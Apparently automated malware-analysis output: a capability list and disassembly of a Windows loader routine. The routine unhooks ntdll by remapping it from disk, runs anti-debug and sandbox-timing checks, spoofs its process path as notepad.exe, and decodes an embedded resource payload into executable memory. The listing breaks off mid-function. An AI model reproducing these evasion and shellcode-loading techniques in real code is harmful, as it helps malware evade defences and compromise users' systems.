Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3b8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x320], xmm6
mov dword [rbp + 0x350], ecx
mov qword [rbp + 0x358], rdx
call fcn.140002fd0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x298], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x290], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x288], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
jne 0x140001532
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x318], rax
cmp qword [rbp + 0x318], 0
je 0x1400019d8
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x90]
mov rax, qword [rbp + 0x288]
mov r10, qword [rbp + 0x318]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x280], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x278], rax
mov dword [rbp + 0x30c], 0
mov dword [rbp + 0x274], 0x2ee
mov dword [rbp + 0x270], 0x177
mov eax, dword [rbp + 0x274]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x314], 0
jmp 0x140001633
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rdx, rax
mov eax, dword [rbp + 0x314]
mov dword [rdx], eax
add dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x270]
jl 0x14000160a
mov dword [rbp + 0x314], 1
jmp 0x1400016c5
mov eax, dword [rbp + 0x314]
mov dword [rbp + 0x310], eax
jmp 0x14000169c
mov edx, dword [rbp + 0x314]
mov eax, dword [rbp + 0x310]
add edx, eax
mov eax, dword [rbp + 0x314]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x310]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x310], 1
mov eax, dword [rbp + 0x270]
sub eax, dword [rbp + 0x314]
mov edx, dword [rbp + 0x314]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x310], eax
jle 0x14000165b
add dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x270]
jl 0x14000164d
cmp dword [rbp + 0x274], 2
jle 0x140001709
mov eax, dword [rbp + 0x30c]
lea edx, [rax + 1]
mov dword [rbp + 0x30c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x314], 1
jmp 0x14000176d
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001766
mov eax, dword [rbp + 0x314]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x30c]
lea edx, [rax + 1]
mov dword [rbp + 0x30c], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x270]
jl 0x140001715
mov dword [rbp + 0x264], 2
mov dword [rbp + 0x308], 0
mov dword [rbp + 0x314], 0
jmp 0x1400017c9
mov eax, dword [rbp + 0x314]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x268]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400017c2
add dword [rbp + 0x308], 1
add dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x264]
jl 0x14000179b
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x278]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x280]
add rax, rdx
mov qword [rbp + 0x240], rax
mov word [rbp + 0x306], 0
jmp 0x1400019c0
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x240]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x306]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019af
mov dword [rbp + 0x58], 0
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x58]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x250]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x58]
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x238]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x280]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x58]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x306]
add eax, 1
mov word [rbp + 0x306], ax
mov rax, qword [rbp + 0x240]
movzx eax, word [rax + 6]
cmp word [rbp + 0x306], ax
jb 0x140001890
mov dword [rbp + 0x2f8], 0
mov dword [rbp + 0x234], 0x3c2
mov dword [rbp + 0x230], 0x1e1
mov eax, dword [rbp + 0x234]
add eax, 1
cdqe
shl rax, 2
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x228], rax
mov dword [rbp + 0x300], 0
jmp 0x140001a49
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rdx, rax
mov eax, dword [rbp + 0x300]
mov dword [rdx], eax
add dword [rbp + 0x300], 1
mov eax, dword [rbp + 0x300]
cmp eax, dword [rbp + 0x230]
jl 0x140001a20
mov dword [rbp + 0x300], 1
jmp 0x140001adb
mov eax, dword [rbp + 0x300]
mov dword [rbp + 0x2fc], eax
jmp 0x140001ab2
mov edx, dword [rbp + 0x300]
mov eax, dword [rbp + 0x2fc]
add edx, eax
mov eax, dword [rbp + 0x300]
add eax, eax
add edx, eax
mov eax, dword [rbp + 0x2fc]
add eax, edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rax, rdx
mov dword [rax], 0
add dword [rbp + 0x2fc], 1
mov eax, dword [rbp + 0x230]
sub eax, dword [rbp + 0x300]
mov edx, dword [rbp + 0x300]
add edx, edx
lea ebx, [rdx + 1]
cdq
idiv ebx
cmp dword [rbp + 0x2fc], eax
jle 0x140001a71
add dword [rbp + 0x300], 1
mov eax, dword [rbp + 0x300]
cmp eax, dword [rbp + 0x230]
jl 0x140001a63
cmp dword [rbp + 0x234], 2
jle 0x140001b1f
mov eax, dword [rbp + 0x2f8]
lea edx, [rax + 1]
mov dword [rbp + 0x2f8], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rax, rdx
mov dword [rax], 2
mov dword [rbp + 0x300], 1
jmp 0x140001b83
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001b7c
mov eax, dword [rbp + 0x300]
lea ecx, [rax + rax]
mov eax, dword [rbp + 0x2f8]
lea edx, [rax + 1]
mov dword [rbp + 0x2f8], edx
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rax, rdx
lea edx, [rcx + 1]
mov dword [rax], edx
add dword [rbp + 0x300], 1
mov eax, dword [rbp + 0x300]
cmp eax, dword [rbp + 0x230]
jl 0x140001b2b
mov dword [rbp + 0x224], 2
mov dword [rbp + 0x2f4], 0
mov dword [rbp + 0x300], 0
jmp 0x140001bdf
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x228]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x140001bd8
add dword [rbp + 0x2f4], 1
add dword [rbp + 0x300], 1
mov eax, dword [rbp + 0x300]
cmp eax, dword [rbp + 0x224]
jl 0x140001bb1
mov rax, qword [rbp + 0x228]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2f0], 0xffffffff
mov ecx, 0xc70
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x218], rax
add dword [rbp + 0x2f0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
movsd xmm1, qword [0x140006180]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x2f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x218]
add rax, rdx
movq xmm1, qword [0x140006190]
andpd xmm0, xmm1
movsd qword [rax], xmm0
cmp dword [rbp + 0x2f0], 0x18c
jle 0x140001c17
mov dword [rbp + 0x5c], 0
mov rax, qword [rbp + 0x298]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x210], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x60]
lea rax, [rbp + 0x5c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x210]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x68]
add rax, 0x3c
mov qword [rbp + 0x208], rax
mov rax, qword [rbp + 0x208]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov ecx, 0xdcc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x200], rax
mov dword [rbp + 0x2ec], 0
jmp 0x140001ddf
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x2ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0x372
jle 0x140001d56
mov dword [rbp + 0x2ec], 0
jmp 0x140001f0b
mov dword [rbp + 0xb4], 0
jmp 0x140001eed
mov eax, dword [rbp + 0x2ec]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0xb4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x140001ee6
mov eax, dword [rbp + 0xb4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0xb0], xmm0
mov eax, dword [rbp + 0x2ec]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rdx, rax
mov eax, dword [rbp + 0xb4]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0xb4]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x200]
add rax, rdx
movss xmm0, dword [rbp + 0xb0]
movss dword [rax], xmm0
add dword [rbp + 0x2ec], 1
mov eax, 0x372
sub eax, dword [rbp + 0x2ec]
cmp dword [rbp + 0xb4], eax
jl 0x140001e0d
add dword [rbp + 0x2ec], 1
cmp dword [rbp + 0x2ec], 0x372
jle 0x140001dfe
mov rax, qword [rbp + 0x200]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x208]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f8], rax
mov rax, qword [rbp + 0x1f8]
mov ecx, 0
call rax
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xffffffff
je 0x140002efc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1e8], rax
cmp qword [rbp + 0x1e8], 0
je 0x140001fe6
mov rax, qword [rbp + 0x1e8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov ecx, 0
call rax
mov dword [rbp + 0x2e8], eax
cmp dword [rbp + 0x2e8], 0xffffffff
je 0x140002efc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1d0], rax
cmp qword [rbp + 0x1d0], 0
jne 0x140002efc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x1c8]
call rax
mov dword [rbp + 0x1c4], eax
mov ecx, 0x276
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1c8]
call rax
mov dword [rbp + 0x1c0], eax
mov eax, dword [rbp + 0x1c0]
sub eax, dword [rbp + 0x1c4]
cmp eax, 0x244
jbe 0x140002efc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
je 0x14000211d
mov rax, qword [rbp + 0x1b8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov ecx, 0
call rax
mov dword [rbp + 0x2e4], eax
cmp dword [rbp + 0x2e4], 0xffffffff
je 0x140002efc
mov ecx, 0x7a7
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x7a7
jne 0x140002efc
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1a8], rax
cmp qword [rbp + 0x1a8], 0
je 0x1400021b8
mov rax, qword [rbp + 0x1a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
mov ecx, 0
call rax
mov dword [rbp + 0x2e0], eax
cmp dword [rbp + 0x2e0], 0xffffffff
je 0x140002efc
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x194], eax
mov ecx, 0x39f
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x198]
call rax
mov dword [rbp + 0x190], eax
mov eax, dword [rbp + 0x190]
sub eax, dword [rbp + 0x194]
cmp eax, 0x36d
jbe 0x140002efc
mov qword [rbp + 0x188], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x180]
mov r9d, 0x3000
mov r8d, 0x27f
mov edx, 0
call rax
mov qword [rbp + 0x188], rax
cmp qword [rbp + 0x188], 0
je 0x140002efc
mov dword [rbp + 0x54], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x54]
mov r8, qword [rbp + 0x178]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x54]
cmp eax, 1
je 0x140002efc
mov rax, qword [rbp + 0x290]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
lea rax, str.YPTJLPV
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x170]
lea r8, str.YPTJLPV
mov ecx, 0
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x160]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x150]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x148]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x150]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x138]
mov r9, qword [rbp + 0x140]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x298]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x168]
mov r8, qword [rbp + 0x150]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x130]
mov r9, qword [rbp + 0x128]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2dc], 0
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x120], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x118], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x110], rax
mov ecx, 0x4f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x108], rax
mov dword [rbp + 0x2d4], 0x13b
mov dword [rbp + 0x2d8], 0
jmp 0x140002650
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x120]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x118]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x120]
add rax, rdx
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x110]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x2d4]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x118]
add rax, rdx
mov edx, dword [rbp + 0x2d8]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x108]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x2d4], 1
add dword [rbp + 0x2d8], 1
cmp dword [rbp + 0x2d8], 0x13b
jle 0x140002544
mov rax, qword [rbp + 0x120]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x110]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2d0], 0
mov dword [rbp + 0x2cc], 0
movabs rax, 0x86f71e6848b34b0c
movabs rdx, 0xd8d4b44433b08de6
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x2bd6b93d1df2ba85
movabs rdx, 0xce7f9b202f204325
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x4e655ad3ce7f9b20
movabs rdx, 0x234eacaa2a7f0f
mov qword [rbp + 0x3c], rax
mov qword [rbp + 0x44], rdx
movabs rax, 0x67ffd839b353e026
movabs rdx, 0xf547655dd57c02e5
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x2d8d81e2725d1452
movabs rdx, 0xd49394d2cdccdda7
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x2badbeafd49394
mov qword [rbp + 0xd], rax
mov ecx, 0x10f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x100], rax
mov dword [rbp + 0x2c8], 0
jmp 0x1400027a5
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x2c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x100]
add rax, rdx
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x2c8], 1
cmp dword [rbp + 0x2c8], 0x21d
jle 0x140002767
mov dword [rbp + 0x2c8], 0
jmp 0x14000280f
mov eax, dword [rbp + 0x2c8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x100]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2c8]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x100]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x2c8], 1
cmp dword [rbp + 0x2c8], 0x21d
jle 0x1400027bd
jmp 0x140002acc
mov eax, dword [rbp + 0x2dc]
cdqe
movzx edx, byte [rbp + rax - 0x10]
mov eax, dword [rbp + 0x2d0]
cdqe
movzx eax, byte [rbp + rax + 0x20]
xor edx, eax
mov eax, dword [rbp + 0x2dc]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x2d0], 0x2a
jne 0x14000285d
mov dword [rbp + 0x2d0], 0
jmp 0x140002864
add dword [rbp + 0x2d0], 1
mov dword [rbp + 0xd0], 0
mov ecx, 0x76c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xc8], rax
mov ecx, 0x76c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xc0], rax
mov ecx, 0x76c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xb8], rax
mov dword [rbp + 0x2c4], 0
jmp 0x14000299c
mov dword [rbp + 0x2c0], 0
jmp 0x140002988
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
mov eax, dword [rbp + 0x2c4]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
add rax, rdx
add rax, rax
add rax, rdx
shl rax, 2
mov rdx, rax
mov rax, qword [rbp + 0xc8]
add rdx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, ecx
mov eax, dword [rbp + 0x2c0]
cdqe
movss dword [rdx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
mov ecx, edx
sar ecx, 4
cdq
sub ecx, edx
imul edx, ecx, 0x32
sub eax, edx
mov ecx, eax
